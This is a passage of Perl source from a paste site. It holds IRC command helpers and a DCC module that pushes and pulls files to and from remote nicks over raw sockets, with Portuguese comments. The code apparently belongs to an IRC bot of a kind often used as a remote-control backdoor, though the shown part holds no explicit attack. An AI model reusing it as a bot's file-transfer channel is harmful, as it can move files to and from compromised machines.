  698. }
  699. sub kick {
  700. return unless $#_ == 1;
  701. sendraw("KICK $_[0] $_[1] :$_[2]");
  702. }
  703.  
  704. sub modo {
  705. return unless $#_ == 0;
  706. sendraw("MODE $_[0] $_[1]");
  707. }
  708. sub mode { modo(@_); }
  709.  
  710. sub j { &join(@_); }
  711. sub join {
  712. return unless $#_ == 0;
  713. sendraw("JOIN $_[0]");
  714. }
  715. sub p { part(@_); }
  716. sub part {sendraw("PART $_[0]");}
  717.  
  718. sub nick {
  719. return unless $#_ == 0;
  720. sendraw("NICK $_[0]");
  721. }
  722.  
  723. sub invite {
  724. return unless $#_ == 1;
  725. sendraw("INVITE $_[1] $_[0]");
  726. }
  727. sub topico {
  728. return unless $#_ == 1;
  729. sendraw("TOPIC $_[0] $_[1]");
  730. }
  731. sub topic { topico(@_); }
  732.  
  733. sub whois {
  734. sendraw("WHOIS $_[0]");
  735. }
  736. sub who {
  737. return unless $#_ == 0;
  738. sendraw("WHO $_[0]");
  739. }
  740. sub names {
  741. return unless $#_ == 0;
  742. sendraw("NAMES $_[0]");
  743. }
  744. sub away {
  745. sendraw("AWAY $_[0]");
  746. }
  747. sub back { away(); }
  748. sub quit {
  749. sendraw("QUIT :$_[0]");
  750. exit;
  751. }
  752.  
  753. # DCC
  754. package DCC;
  755.  
  756. sub connections {
  757. my @ready = $dcc_sel->can_read(1);
  758. # return unless (@ready);
  759. foreach my $fh (@ready) {
  760. my $dcctipo = $DCC{$fh}{tipo};
  761. my $arquivo = $DCC{$fh}{arquivo};
  762. my $bytes = $DCC{$fh}{bytes};
  763. my $cur_byte = $DCC{$fh}{curbyte};
  764. my $nick = $DCC{$fh}{nick};
  765.  
  766. my $msg;
  767. my $nread = sysread($fh, $msg, 10240);
  768.  
  769. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  770. $DCC{$fh}{status} = "Cancelado";
  771. $DCC{$fh}{ftime} = time;
  772. $dcc_sel->remove($fh);
  773. $fh->close;
  774. next;
  775. }
  776.  
  777. if ($dcctipo eq "get") {
  778. $DCC{$fh}{curbyte} += length($msg);
  779.  
  780. my $cur_byte = $DCC{$fh}{curbyte};
  781.  
  782. open(FILE, ">> $arquivo");
  783. print FILE "$msg" if ($cur_byte <= $bytes);
  784. close(FILE);
  785.  
  786. my $packbyte = pack("N", $cur_byte);
  787. print $fh "$packbyte";
  788.  
  789. if ($bytes == $cur_byte) {
  790. $dcc_sel->remove($fh);
  791. $fh->close;
  792. $DCC{$fh}{status} = "Recebido";
  793.  
  794. $DCC{$fh}{ftime} = time;
  795. next;
  796. }
  797. } elsif ($dcctipo eq "send") {
  798. my $send = $fh->accept;
  799. $send->autoflush(1);
  800. $dcc_sel->add($send);
  801. $dcc_sel->remove($fh);
  802. $DCC{$send}{tipo} = 'sendcon';
  803. $DCC{$send}{itime} = time;
  804. $DCC{$send}{nick} = $nick;
  805. $DCC{$send}{bytes} = $bytes;
  806. $DCC{$send}{curbyte} = 0;
  807. $DCC{$send}{arquivo} = $arquivo;
  808. $DCC{$send}{ip} = $send->peerhost;
  809. $DCC{$send}{porta} = $send->peerport;
  810. $DCC{$send}{status} = "Enviando";
  811.  
  812. #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  813. open(FILE, "< $arquivo");
  814. my $fbytes;
  815. read(FILE, $fbytes, 1024);
  816. print $send "$fbytes";
  817. close FILE;
  818. # delete($DCC{$fh});
  819. } elsif ($dcctipo eq 'sendcon') {
  820. my $bytes_sended = unpack("N", $msg);
  821. $DCC{$fh}{curbyte} = $bytes_sended;
  822. if ($bytes_sended == $bytes) {
  823. $fh->close;
  824. $dcc_sel->remove($fh);
  825. $DCC{$fh}{status} = "Enviado";
  826. $DCC{$fh}{ftime} = time;
  827. next;
  828. }
  829. open(SENDFILE, "< $arquivo");
  830. seek(SENDFILE, $bytes_sended, 0);
  831. my $send_bytes;
  832. read(SENDFILE, $send_bytes, 1024);
  833. print $fh "$send_bytes";
  834. close(SENDFILE);
  835. }
  836. }
  837. }
  838.  
  839.  
  840. sub SEND {
  841. my ($nick, $arquivo) = @_;
  842. unless (-r "$arquivo") {
  843. return(0);
  844. }
  845.  
  846. my $dccark = $arquivo;
  847. $dccark =~ s/[.*\/](\S+)/$1/;
  848.  
  849. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  850. my $longip = unpack("N",inet_aton($meuip));
  851.  
  852. my @filestat = stat($arquivo);
  853. my $size_total=$filestat[7];
  854. if ($size_total == 0) {
  855. return(0);
  856. }
  857.  
  858. my ($porta, $sendsock);
  859. do {
  860. $porta = int rand(64511);
  861. $porta += 1024;
  862. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  863. } until $sendsock;
  864.  
  865. $DCC{$sendsock}{tipo} = 'send';
  866. $DCC{$sendsock}{nick} = $nick;
  867. $DCC{$sendsock}{bytes} = $size_total;
  868. $DCC{$sendsock}{arquivo} = $arquivo;
  869.  
  870.  
  871. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  872.  
  873. }
  874.  
  875. sub GET {
  876. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  877. return(0) if (-e "$arquivo");
  878. if (open(FILE, "> $arquivo")) {
  879. close FILE;
  880. } else {
  881. return(0);
  882. }
  883.  
  884. my $dccip=fixaddr($dcclongip);
  885. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  886. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  887. $dccsock->autoflush(1);
  888. $dcc_sel->add($dccsock);
  889. $DCC{$dccsock}{tipo} = 'get';
  890. $DCC{$dccsock}{itime} = time;
  891. $DCC{$dccsock}{nick} = $nick;
  892. $DCC{$dccsock}{bytes} = $bytes;
  893. $DCC{$dccsock}{curbyte} = 0;
  894. $DCC{$dccsock}{arquivo} = $arquivo;
  895. $DCC{$dccsock}{ip} = $dccip;
  896. $DCC{$dccsock}{porta} = $dccporta;
  897. $DCC{$dccsock}{status} = "Recebendo";
  898. }
  899.  
  900. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  901. sub Status {
  902. my $socket = shift;
  903. my $sock_tipo = $DCC{$socket}{tipo};
  904. unless (lc($sock_tipo) eq "chat") {
  905. my $nick = $DCC{$socket}{nick};
  906. my $arquivo = $DCC{$socket}{arquivo};
  907. my $itime = $DCC{$socket}{itime};
  908. my $ftime = time;
  909. my $status = $DCC{$socket}{status};
  910. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  911.  
  912. my $d_time = $ftime-$itime;
  913.  
  914. my $cur_byte = $DCC{$socket}{curbyte};
  915. my $bytes_total = $DCC{$socket}{bytes};
  916.  
  917. my $rate = 0;
  918. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  919. my $porcen = ($cur_byte*100)/$bytes_total;
  920.  
  921. my ($r_duv, $p_duv);
  922. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  923. $r_duv = $3; $r_duv++ if $4 >= 5;
  924. $rate = "$1\.$2"."$r_duv";
  925. }
  926. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  927. $p_duv = $3; $p_duv++ if $4 >= 5;
  928. $porcen = "$1\.$2"."$p_duv";
  929. }
  930. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  931. }
  932.  
  933.  
  934. return(0);
  935. }
  936.  
  937.  
  938. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  939. sub fixaddr {
  940. my ($address) = @_;
  941.  
  942. chomp $address; # just in case, sigh.
  943. if ($address =~ /^\d+$/) {
  944. return inet_ntoa(pack "N", $address);
  945. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  946. return $address;
  947. } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  948. return inet_ntoa(((gethostbyname($address))[4])[0]);
  949. } else {
  950. return;
  951. }
  952. }
Advertisement
Add Comment
Please, Sign In to add comment